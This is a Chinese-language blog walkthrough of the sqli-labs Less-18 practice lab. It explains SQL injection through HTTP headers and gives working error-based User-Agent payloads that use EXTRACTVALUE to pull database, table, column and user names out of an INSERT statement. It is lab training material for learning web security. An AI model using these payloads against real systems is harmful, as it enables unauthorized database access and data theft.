sqli-labs Less18 原理到实现详解

目录

前期知识储备

一、初始思路

1.思路

2.user agent后加入',发现出现sql错误日志。

3.我尝试了之前用的各种闭合方法,都已失败告终。

4.新的问题。

5. 现在想的是如何利用mysql插入语句insert实现注入。

​​


 

前期知识储备

从18关开始考察的是头部注入(Header Injection - Uagent field - Error based),这里简述头部注入的点。

  • HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
  • X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
  • Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
  • X-Real-IP一般只记录真实发出请求的客户端IP。
  • Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
  •  User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
  • Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
  • Referer表示一个来源,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。

提示:以下是本篇文章正文内容,下面案例可供参考




一、初始思路

1.思路

在第一次接触18关的时候有点懵,感觉一切都很熟悉但是又不是那么的熟悉。当我随意输入用户名和密码看到它可以显示我的ip和user agent信息。那就能够证明它读取了我的user agent。尝试对useragent下手。

2.user agent后加入',发现出现sql错误日志。

3.我尝试了之前用的各种闭合方法,都已失败告终。

' #
" #
'" #
')
")
'))
"))
'")
'"))

4.新的问题。

我当时直观感受就是之前用到的sql语句和现在不一样了,十多关的靶场还没有过滤规则,完全没办法直接看源码。

5. 现在想的是如何利用mysql插入语句insert实现注入。

1. 将源码中的语句直接复制到navicat中,我们只换值运行语句,观察结果。 



2.从上边发现我们注入的语句值被当作插入值中的第一个值被执行。那就先闭合引号看看会产生什么样的结果。

3.直接报错,根据错误提可能是123被当作字符优先匹配他周围的引号为一组,结果就剩下前后两个未被闭合的单引号导致出错。证明如下图:

 这张图证明我们的思路是正确的

 4.那么我们把中间的字符删掉看看会发生什么,结果如下图:


 语句执行成功,空字符串被成功写入。

 5.那么能够利用的点肯定在这个空白区域,我试过用 and updatexml()和and extractvalue() 都已失败告终。看了看大神的文章我才知道这里需要用到两个and或者两个or。

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and 1=1 and '', '456',789 )

 没问题可以执行,那么把需要的语句放进去试试。

 6.赶紧抓包试一试。。。。。。。。

User-Agent: 'and EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e)) and'

 一切都熟悉了爆表名

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and'

 

 列名

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)) and'

 数据

User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select username from users limit 1,1),0x7e)) and'

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值